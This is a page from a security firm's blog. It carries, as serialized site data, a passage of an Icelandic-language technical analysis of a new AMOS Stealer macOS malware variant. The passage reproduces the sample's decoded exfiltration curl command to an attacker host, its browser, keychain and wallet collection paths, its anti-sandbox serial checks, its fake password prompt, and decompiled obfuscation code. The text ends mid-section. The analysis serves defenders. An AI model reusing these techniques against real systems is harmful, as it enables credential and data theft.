[{"data":1,"prerenderedAt":3358},["ShallowReactive",2],{"sc:header-data-is":3,"sc:footer-data-is":489,"post-is--posts-2026-04-10-incident-to-intelligence-e4a8aa31fde78":518,"authors_data":2785,"content-is-list-7b291c2dd91a4":3138,"authors_data:Pascal Asch":3355},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"is":13},{"title":14,"url":15,"alt":16},"Heim","/is","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"is":21},{"title":22,"description":23},"Workplace","Knúið af Microsoft 365 fyrir snjalla, örugga og sveigjanlega vinnustaði, með nútímalegri tækni og auðkennisþjónustum samþættum.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"is":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"is":34},{"title":35,"url":36},"Managed Intune","/is/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"is":40},{"title":41,"url":42},"Managed Entra","/is/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"is":46},{"title":47,"url":48},"Managed Workplace","/is/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"is":52},{"title":53,"url":54},"Consulting Services","/is/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"is":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"is":64},{"title":65,"url":66},"Microsoft Entra Suite","/is/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"is":70},{"title":71,"url":72},"Microsoft Intune","/is/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"is":76},{"title":77,"url":78},"Microsoft Windows","/is/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"is":82},{"title":83,"url":84},"Windows 365 Cloud PC","/is/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"is":88},{"title":89,"url":90},"Cloud Workplace Foundation","/is/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"is":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"is":100},{"title":101,"url":102},"Microsoft 365 Copilot","/is/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"is":106},{"title":107,"url":108},"Teams","/is/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"is":112},{"title":113,"url":114},"SharePoint & Power Platform","/is/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"is":118},{"title":119,"url":120},"Exchange Online","/is/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"is":124},{"title":125,"url":126},"Information Protection & Compliance","/is/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"is":130},{"title":131,"description":132},"Azure","Vöxtur með Azure: lækkaðu cloud-kostnað, auktu skilvirkni og knýðu áfram nýsköpun með IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"is":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"is":142},{"title":143,"url":144},"Azure Managed Services","/is/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"is":148},{"title":149,"url":150},"Azure Consulting","/is/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"is":154},{"title":155},"Sviðsmyndir",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"is":160},{"title":161,"url":162},"Skipuleggðu skýið þitt","/is/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"is":166},{"title":167,"url":168},"Flyttu í skýið","/is/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"is":172},{"title":173,"url":174},"Nýsköpun í rekstrinum þínum","/is/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"is":178},{"title":179,"url":180},"Endurhugsaðu VMware-stefnuna þína","/is/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"is":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"is":190},{"title":191,"url":192},"Azure Foundation","/is/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"is":196},{"title":197,"url":198},"Azure AI Foundation","/is/azure/azure-ai-foundation",{"name":86,"languages":200},{"is":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"is":205},{"title":206,"url":207},"Azure Data Foundation","/is/azure/azure-data-foundation",{"name":188,"languages":209},{"is":210},{"title":211,"url":212},"Azure Container Foundation","/is/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"is":216},{"title":217,"url":218},"Managed Dark Tenant","/is/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"is":222},{"title":223,"url":224},"Cloud Adoption Framework","/is/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"is":228},{"title":229,"url":230},"Cloud Competence Center","/is/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"is":234},{"title":235,"description":236,"emergency":237},"Security","Árvekni í skýinu með margverðlaunaðri 24/7 managed service, incident response og nútímalegri vörn fyrir innviðina þína.",{"text":238,"href":239,"skin":240,"icon":241},"Undir árás?","/is/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"is":249},{"title":250,"url":251},"Managed Red Tenant","/is/security/managed-red-tenant",{"name":214,"languages":253},{"is":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"is":259},{"title":260,"url":261},"Sentinel Data Lake","/is/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"is":265},{"title":266,"url":267},"Security Consulting","/is/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"is":274},{"title":275,"url":276},"Cloud Security Operations Center","/is/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"is":280},{"title":281,"url":282},"Global Secure Access","/is/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"is":286},{"title":287,"url":288},"MyWorkID","/is/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"is":295},{"title":296,"url":297},"Preventive Services","/is/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"is":301},{"title":302,"url":303},"Data Security Service","/is/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"is":307},{"title":308,"url":309},"Security Copilot Agents","/is/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"is":313},{"title":314,"url":315},"Innleiðing NIS2","/is/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"is":319},{"title":320,"description":321},"Vörur","Fylgivörur fyrir öruggt, 100 % cloud-native Microsoft-umhverfi sem styrkja samstarf, netauðkenningu og hugbúnaðarstjórnun.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"is":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Skýbundin hugbúnaðardreifing",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"is":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Skírteinadreifing úr skýinu",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"is":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Vinndu með staðbundnu Office 365-gögnin þín",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"is":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Flyttu gögnin þín milli netþjóna",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"is":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"is":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Auðkenning fyrir netið þitt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"is":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finndu tengiliði í Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"is":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Rauntímaeftirlit með Windows Autopilot",{"name":396,"languages":397},"casestudies",{"is":398},{"title":399,"url":400,"description":401},"Case Studies","/is/casestudies","Frumkvöðull í skýinu: Microsoft-samstarfsaðilinn þinn fyrir cloud-lausnir með blueprint-nálgun og sérþekkingu í Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"is":405},{"title":406,"description":401},"Fyrirtækið",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"is":411},{"title":412},"Um okkur",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"is":417},{"title":418,"url":419},"Staðreyndir og tölur","/is/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"is":423},{"title":424,"url":425},"Tengiliðir og staðsetningar","/is/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"is":429},{"title":430,"url":431}," glueckkanja Switzerland","/is/company/switzerland",{"name":433,"languages":434},"austria",{"is":435},{"title":436,"url":437},"glueckkanja Austria","/is/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"is":441},{"title":442},"Störf",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"is":447},{"title":448,"url":449},"Yfirlit yfir störf","/is/career",{"name":451,"languages":452},"company-young-professionals",{"is":453},{"title":454,"url":455},"Young Professionals","/is/young-professionals",{"name":457,"languages":458},"company-jobs",{"is":459},{"title":460,"url":461},"Laus störf","/is/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"is":465},{"title":466},"Nýjast",[468,474],{"name":469,"languages":470},"company-blog",{"is":471},{"title":472,"url":473},"Blogg","/is/blog",{"name":469,"languages":475},{"is":476},{"title":477,"url":478},"Viðburðir","/is/events",[480],{"name":481,"languages":482},"career-meta",{"is":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"is":487},{"title":488,"url":425,"active":484},"Tengiliður",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksIs":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privacy","/is/privacy",{"title":514,"url":515},"Imprint","/is/imprint",{"title":507,"url":517},"/is/cookies",{"id":519,"title":520,"author":521,"body":523,"cta":494,"description":529,"eventid":494,"extension":2688,"hideInRecent":484,"layout":2689,"meta":2690,"moment":2694,"navigation":325,"path":2775,"seo":2776,"stem":2777,"tags":2778,"webcast":484,"__hash__":2784},"content_is/posts/2026-04-10-incident-to-intelligence.md","Anatómía á óþekktum AMOS Stealer: Frá alerti til ónæmis á klukkustundum",[522],"Pascal Asch",{"type":524,"value":525,"toc":2652},"minimal",[526,530,533,536,539,544,547,550,553,561,563,568,571,574,577,591,594,597,605,608,612,614,617,640,643,651,654,662,669,673,675,678,686,701,705,707,710,715,718,726,730,732,740,744,746,749,753,755,758,766,770,772,780,783,881,884,914,916,920,923,925,931,934,938,940,1024,1028,1030,1041,1048,1122,1133,1140,1144,1146,1211,1215,1217,1224,1226,1230,1232,1239,1265,1452,1455,1463,1474,1477,1485,1499,1512,1514,1518,1520,1538,1560,1750,1753,1761,1764,1767,1769,1773,1775,1778,1857,1860,1879,1958,1961,1963,1967,1969,1972,1979,2034,2037,2045,2048,2050,2054,2056,2063,2075,2123,2134,2173,2182,2197,2200,2202,2206,2208,2215,2218,2226,2229,2237,2251,2254,2256,2260,2262,2272,2276,2278,2296,2304,2318,2338,2342,2344,2347,2355,2358,2366,2380,2384,2386,2389,2397,2416,2422,2426,2428,2436,2442,2449,2453,2455,2463,2467,2469,2472,2480,2483,2487,2489,2497,2501,2503,2511,2515,2517,2525,2529,2531,2539,2556,2561,2563,2567,2570,2572,2579,2596,2599,2611,2613,2617,2620,2622,2625,2628,2631,2648],[527,528,529],"p",{},"Þegar alert kviknar í SOC-inu okkar byrjar klukkan að tifa, ekki bara fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir vernd okkar. Hættulegasta augnablikið í nútíma threat-umhverfi er intelligence gap-ið, tímaglugginn milli fyrstu notkunar á nýju malware-afbrigði og þess dags þegar iðnaðurinn heyrir af því.",[527,531,532],{},"Fyrir sjálfstæð security-teymi þýðir þetta gat mikinn viðkvæmleika: þú bíður eftir vendor-uppfærslu eða signature-feed sem enn hefur ekki verið skrifaður. Fyrir viðskiptavini okkar lokar Shared Threat Intelligence, sem við þróuðum innanhúss, nákvæmlega þessum glugga.",[527,534,535],{},"Þessi færsla er tæknileg sundurgreining á því hvernig við tókum í sundur áður óskráð afbrigði af AMOS (Atomic macOS Stealer) og hvernig einn kompromíseraður endpoint varð, á fáum klukkustundum, að þéttri greiningu og blokkun í öllum umhverfum viðskiptavina okkar.",[537,538],"hr",{},[540,541,543],"h1",{"id":542},"atvikið-óþekkt-ioc-sviðsmynd","Atvikið: Óþekkt IOC-sviðsmynd",[527,545,546],{},"{: #atvikid}",[527,548,549],{},"{: .h3-font-size}",[527,551,552],{},"Alertið barst 12. mars 2026 klukkan 06:25 að staðartíma: macOS-endpoint hafði verið kompromíseraður. Þegar SOC-teymið okkar byrjaði að greina artifacts stóðum við frammi fyrir aðstæðum sem hver threat analyst óttast: engir þekktir file-hash-ar, engar C2-IP-tölur, engar marktækar behavior-signature í opnum gagnagrunnum.",[527,554,555,556,560],{},"Öll árásararkitektúrinn kom ekki fram fyrr en í djúpgreiningu. Sýkingin byggði á 15,7 MB macOS Universal Binary (x86_64 og ARM64), sett á ",[557,558,559],"code",{},"/private/tmp/helper",". Sample-ið var ekki beint aðgengilegt á kompromíseraða kerfinu; teymið okkar þurfti að endurgera sýkingarkeðjuna og herma upphaflegu delivery-fyrirspurnina til að ná binary-inu handvirkt úr innviðum árásaraðilans.",[537,562],{},[564,565,567],"h2",{"id":566},"stage-1-sandbox-athuganir","Stage 1: Sandbox-athuganir",[527,569,570],{},"{: #stage-1-sandbox-athuganir}",[527,572,573],{},"{: .h4-font-size}",[527,575,576],{},"Áður en sjálfur stealer-inn keyrði á tækinu hafði AppleScript-payload þegar keyrt. Hver strengur í honum, hver skráaslóð, hver shell-skipun, hver URL var kóðaður í gegnum þrjár sérsniðnar arithmetic-fúnksjónir:",[578,579,581],"div",{"style":580},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[582,583,588],"pre",{"className":584,"code":586,"language":587},[585],"language-text","on ipbgcjzgqa(a, b)\n    -- result[i] = chr(a[i] - b[i])\n\non kwcvvjininv(a, b)\n    -- result[i] = chr(a[i] + b[i])\n\non xqylheckjx(a, b, offset)\n    -- result[i] = chr(a[i] - b[i] - offset)\n","text",[557,589,586],{"__ignoreMap":590},"",[527,592,593],{},"Enginn einn strengur birtist í plaintext. Það sem virtist við fyrstu sýn vera merkingarlaus integer-arrays reyndist, eftir að kóðunarreglunum var snúið við, vera fullkomið og tilbúið framework fyrir gagnaþjófnað og exfiltration.",[527,595,596],{},"Við afkóðuðum hvern array í scriptinu statískt. Niðurstöðurnar voru skýrar:",[578,598,599],{"style":580},[582,600,603],{"className":601,"code":602,"language":587},[585],"Download URL: https[:]//woupp[.]com/n8n/update\nExfil server: http[:]//92[.]246[.]136[.]14/contact\nExfil method: curl --connect-timeout 120 --max-time 300 -X POST -F \"file=@/tmp/out.zip\"\n",[557,604,602],{"__ignoreMap":590},[527,606,607],{},"Download-URL-ið stælir vísvitandi lögmæta n8n workflow automation uppfærslu, tól sem er útbreitt meðal þróunaraðila og DevOps-verkfræðinga. Það er ekki tilviljun: herferðin miðar á tæknilega færa notendur, ekki venjulega endanotendur sem setja upp krakkaðan hugbúnað.",[564,609,611],{"id":610},"anti-sandbox-check-ið","Anti-sandbox check-ið",[527,613,573],{},[527,615,616],{},"Fyrir download-ið keyrði scriptið sérstakan VM- og sandbox-detection routine. Úr atvika-artifacts gátum við auk þess endurbyggt sjálfstætt anti-sandbox script:",[578,618,619],{"style":580},[582,620,624],{"className":621,"code":622,"language":623,"meta":590,"style":590},"language-applescript shiki shiki-themes github-light github-dark","set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\nset qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n","applescript",[557,625,626,634],{"__ignoreMap":590},[627,628,631],"span",{"class":629,"line":630},"line",1,[627,632,633],{},"set urgufr  to do shell script \"system_profiler SPMemoryDataType\"\n",[627,635,637],{"class":629,"line":636},2,[627,638,639],{},"set qcsvjxp to do shell script \"system_profiler SPHardwareDataType\"\n",[527,641,642],{},"Niðurstöðurnar bar scriptið síðan saman við tvo lista. Sá fyrri leitaði að virtualization-merkingum í minnisgögnunum:",[578,644,645],{"style":580},[582,646,649],{"className":647,"code":648,"language":587},[585],"\"QEMU\"   \"VMware\"   \"KVM\"\n",[557,650,648],{"__ignoreMap":590},[527,652,653],{},"Sá seinni bar hardware-auðkenni saman við lista yfir þekktar serial-tölur á greiningarvélum:",[578,655,656],{"style":580},[582,657,660],{"className":658,"code":659,"language":587},[585],"\"Z31FHXYQ0J\"     -- known sandbox machine serial\n\"C07T508TG1J2\"   -- known sandbox machine serial\n\"C02TM2ZBHX87\"   -- known sandbox machine serial\n\"Chip: Unknown\"  -- emulation indicator\n\"Intel Core 2\"   -- legacy/VM indicator\n",[557,661,659],{"__ignoreMap":590},[527,663,664,665,668],{},"Við samsvörun: ",[557,666,667],{},"exit 100",", full stöðvun. Á raunverulegri MacBook Pro með Apple Silicon fór allt hljóðlega í gegnum athuganirnar og keyrslan hélt áfram. Sandbox-evasion tækni á faglegu stigi sem rann af stað áður en eitt einasta byte af binary-inu var sótt.",[564,670,672],{"id":671},"einfalt-en-áhrifaríkt-falsaða-lykilorðabeiðnin","Einfalt en áhrifaríkt: falsaða lykilorðabeiðnin",[527,674,573],{},[527,676,677],{},"Afkóðaða scriptið innihélt einnig dialog fyrir privilege escalation í gegnum social engineering:",[578,679,680],{"style":580},[582,681,684],{"className":682,"code":683,"language":587},[585],"Title:   \"Application wants to install helper\"\nPrompt:  \"Required Application Helper. Please enter device\n          password to continue.\"\nButton:  \"Continue\"\n",[557,685,683],{"__ignoreMap":590},[527,687,688,689,692,693,696,697,700],{},"Dialogurinn birtist í gegnum staðlað macOS ",[557,690,691],{},"display dialog","-kall með ",[557,694,695],{},"with hidden answer"," og er sjónrænt ekki hægt að greina frá raunverulegri macOS authorization-beiðni. Innslegna lykilorðið notaði scriptið til að kalla ",[557,698,699],{},"login -pf \u003Cusername>"," og lyfta ferlinu í root-réttindi, enn áður en binary-ið var keyrt.",[564,702,704],{"id":703},"það-sem-scriptið-safnaði","Það sem scriptið safnaði",[527,706,573],{},[527,708,709],{},"Um leið og binary-ið var í keyrslu hélt osascript sínum eigin söfnunarferli áfram og greip í hvern flokk viðkvæmra kerfisgagna. Við afkóðuðum allar söfnunarslóðir og markmið:",[711,712,714],"h3",{"id":713},"browser-gögn-allir-chromium-browsers-safari","Browser-gögn (allir Chromium-browsers + Safari):",[527,716,717],{},"{: .font-size-4}",[578,719,720],{"style":580},[582,721,724],{"className":722,"code":723,"language":587},[585],"/Login Data          /Cookies            /Web Data\n/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/\n",[557,725,723],{"__ignoreMap":590},[711,727,729],{"id":728},"macos-keychain","macOS Keychain:",[527,731,717],{},[578,733,734],{"style":580},[582,735,738],{"className":736,"code":737,"language":587},[585],"~/Library/Keychains/login.keychain-db  -- accessed directly via cat\n",[557,739,737],{"__ignoreMap":590},[711,741,743],{"id":742},"apple-notes","Apple Notes",[527,745,717],{},[527,747,748],{},"Fullt innihald flutt út sem HTML með teljara-header",[711,750,752],{"id":751},"staðbundnar-skrár","Staðbundnar skrár",[527,754,717],{},[527,756,757],{},"Skrifborð og Documents, allt að 30 MB, með áherslu á:",[578,759,760],{"style":580},[582,761,764],{"className":762,"code":763,"language":587},[585],"pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf\nkey  p12  pem  cert  pfx  sql  db  sqlite\njson  xml  yaml  conf  env  csv\n",[557,765,763],{"__ignoreMap":590},[711,767,769],{"id":768},"rafmyntaveski","Rafmyntaveski",[527,771,717],{},[527,773,774,775,779],{},"Harðkóðaður listi með ",[776,777,778],"strong",{},"meira en 200 browser extension ID-um"," sem nær yfir öll algeng veski, þar á meðal MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.",[527,781,782],{},"Eftir söfnun voru öll gögn sett í handahófskennt nefnda tímabundna möppu og exfiltreruð:",[578,784,785],{"style":580},[582,786,790],{"className":787,"code":788,"language":789,"meta":590,"style":590},"language-bash shiki shiki-themes github-light github-dark","ditto -c -k --sequesterRsrc \u003Cstaging_dir> /tmp/out.zip\ncurl --connect-timeout 120 --max-time 300 -X POST \\\n  -H \"user: \u003Cuuid>\" -H \"BuildID: \u003Chw_profile>\" \\\n  -F \"file=@/tmp/out.zip\" laislivon[.]com/contact\n","bash",[557,791,792,826,852,869],{"__ignoreMap":590},[627,793,794,798,802,805,808,812,816,820,823],{"class":629,"line":630},[627,795,797],{"class":796},"sScJk","ditto",[627,799,801],{"class":800},"sj4cs"," -c",[627,803,804],{"class":800}," -k",[627,806,807],{"class":800}," --sequesterRsrc",[627,809,811],{"class":810},"szBVR"," \u003C",[627,813,815],{"class":814},"sZZnC","staging_di",[627,817,819],{"class":818},"sVt8B","r",[627,821,822],{"class":810},">",[627,824,825],{"class":814}," /tmp/out.zip\n",[627,827,828,831,834,837,840,843,846,849],{"class":629,"line":636},[627,829,830],{"class":796},"curl",[627,832,833],{"class":800}," --connect-timeout",[627,835,836],{"class":800}," 120",[627,838,839],{"class":800}," --max-time",[627,841,842],{"class":800}," 300",[627,844,845],{"class":800}," -X",[627,847,848],{"class":814}," POST",[627,850,851],{"class":800}," \\\n",[627,853,855,858,861,864,867],{"class":629,"line":854},3,[627,856,857],{"class":800},"  -H",[627,859,860],{"class":814}," \"user: \u003Cuuid>\"",[627,862,863],{"class":800}," -H",[627,865,866],{"class":814}," \"BuildID: \u003Chw_profile>\"",[627,868,851],{"class":800},[627,870,872,875,878],{"class":629,"line":871},4,[627,873,874],{"class":800},"  -F",[627,876,877],{"class":814}," \"file=@/tmp/out.zip\"",[627,879,880],{"class":814}," laislivon[.]com/contact\n",[527,882,883],{},"Hreinsun fylgdi strax á eftir:",[578,885,886],{"style":580},[582,887,889],{"className":787,"code":888,"language":789,"meta":590,"style":590},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[557,890,891,908],{"__ignoreMap":590},[627,892,893,896,899,901,903,905],{"class":629,"line":630},[627,894,895],{"class":796},"rm",[627,897,898],{"class":800}," -r",[627,900,811],{"class":810},[627,902,815],{"class":814},[627,904,819],{"class":818},[627,906,907],{"class":810},">\n",[627,909,910,912],{"class":629,"line":636},[627,911,895],{"class":796},[627,913,825],{"class":814},[537,915],{},[540,917,919],{"id":918},"stage-2-reverse-engineering-á-helper-binary-inu","Stage 2: Reverse engineering á 'helper' binary-inu",[527,921,922],{},"{: #stage-2-binary-greining}",[527,924,549],{},[527,926,927,930],{},[557,928,929],{},"helper"," binary-ið er sá hluti þar sem þessi greining fer virkilega á dýptina. Um er að ræða faglega obfuskerað macOS-executable sem torveldar kerfisbundið statíska greiningu og olli mestu reverse-engineering vinnunni í þessari rannsókn.",[527,932,933],{},"Öll greiningin var unnin með Ghidra og sérsniðnu ARM64-greiningarferli okkar.",[564,935,937],{"id":936},"eiginleikar-skrárinnar","Eiginleikar skrárinnar",[527,939,573],{},[578,941,943],{"style":942},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[944,945,947,948,947,964],"table",{"style":946},"width:100%; border-collapse: collapse; font-size: 0.85rem","\n  ",[949,950,951,952,947],"thead",{},"\n    ",[953,954,955,956,955,961,951],"tr",{},"\n      ",[957,958,960],"th",{"style":959},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","Eiginleiki",[957,962,963],{"style":959},"Gildi",[965,966,951,967,951,977,951,986,951,994,951,1004,951,1014,947],"tbody",{},[953,968,955,969,955,974,951],{},[970,971,973],"td",{"style":972},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[970,975,976],{"style":972},"Mach-O Universal Binary",[953,978,955,979,955,983,951],{},[970,980,982],{"style":981},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[970,984,985],{"style":981},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[953,987,955,988,955,991,951],{},[970,989,990],{"style":972},"Size",[970,992,993],{"style":972},"15.7 MB",[953,995,955,996,955,999,951],{},[970,997,998],{"style":981},"MD5",[970,1000,1001],{"style":981},[557,1002,1003],{},"4599fdf2fa2099b30d8bbf76703dd634",[953,1005,955,1006,955,1009,951],{},[970,1007,1008],{"style":972},"SHA-1",[970,1010,1011],{"style":972},[557,1012,1013],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[953,1015,955,1016,955,1019,951],{},[970,1017,1018],{"style":981},"SHA-256",[970,1020,1021],{"style":981},[557,1022,1023],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[564,1025,1027],{"id":1026},"það-byrjar-á-undan-main","Það byrjar á undan main()",[527,1029,573],{},[527,1031,1032,1033,1036,1037,1040],{},"Það fyrsta sem við tókum eftir í Ghidra: þetta binary hegðar sér ekki eins og venjulegt executable. Raunverulegur entry point er ekki ",[557,1034,1035],{},"main()",", heldur fúnksjón sem er skráð í ",[557,1038,1039],{},"__mod_init_func",", macOS-vélbúnaði sem gefur dynamic linker-num (dyld) skipun um að keyra tilteknar fúnksjónir sjálfkrafa við hleðslu binary-ins, áður en nokkur nytsamur kóði keyrir.",[527,1042,1043,1044,1047],{},"Init-fúnksjónin á ",[557,1045,1046],{},"0x10009f384"," er hinn eiginlegi entry point malware-sins. Hér er Ghidra-decompileringin:",[578,1049,1050],{"style":580},[1051,1052,1053,1057,1060,1063,1067,1068,1072,1073,1075,1076,1079,1080,1094],"code-block",{},[627,1054,1056],{"style":1055},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[1058,1059],"br",{},[627,1061,1062],{"style":1055},"// __mod_init_func registered — executes before main()",[627,1064,1066],{"style":1065},"color:#d73a49","void"," ",[627,1069,1071],{"style":1070},"color:#6f42c1","FUN_10009f384","(",[627,1074,1066],{"style":1065},")\n{\n  ",[627,1077,1078],{"style":1065},"int"," iVar1;\n",[527,1081,1082,1085,1086,1072,1089,1093],{},[627,1083,1084],{"style":1055},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[627,1087,1088],{"style":1070},"_usleep",[627,1090,1092],{"style":1091},"color:#005cc5","0x37e",");",[527,1095,1096,1099,1102,1103,1105,1106,1109,1110,1113,1114,1117,1118,1121],{},[627,1097,1098],{"style":1055},"// Indirect jump table — 14-state machine",[627,1100,1101],{"style":1055},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[627,1104,557],{"style":1065}," _)((",[627,1107,1108],{"style":1065},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[627,1111,1112],{"style":1091},"4"," + ",[627,1115,1116],{"style":1091},"0x10009f440","))(iVar1);\n",[627,1119,1120],{"style":1065},"return",";\n}",[527,1123,1124,1125,1128,1129,1132],{},"Tvennt stingur strax í augun. Í fyrsta lagi 894 míkrósekúndna ",[557,1126,1127],{},"usleep"," við ræsingu: anti-sandbox timing-merki. Alvarlegri er óbeina jump-taflan á ",[557,1130,1131],{},"0x10009f43c",". Það er reiknaður branch þar sem targetheimilisfangið er sótt á runtime úr lookup-töflu. Statísk greiningartól geta ekki endurbyggt control flow graph-inn; Ghidra skráði nokkrar „unreachable block\" viðvaranir þegar við reyndum að rekja keyrsluslóðina. Þetta er þannig hugsað.",[527,1134,1135,1136,1139],{},"Jump-taflan drífur áfram ",[776,1137,1138],{},"14-state keyrsluvél",". Hvert ástand framkvæmir eitt stakt skref í dekryptings- og keyrslupipelínunni. State-teljarinn er uppfærður eftir hvert skref og vélin keyrir þar til öll ástönd hafa verið gengið í gegn.",[564,1141,1143],{"id":1142},"arm64-disassembly-á-state-dispatcher-num","ARM64-disassembly á state 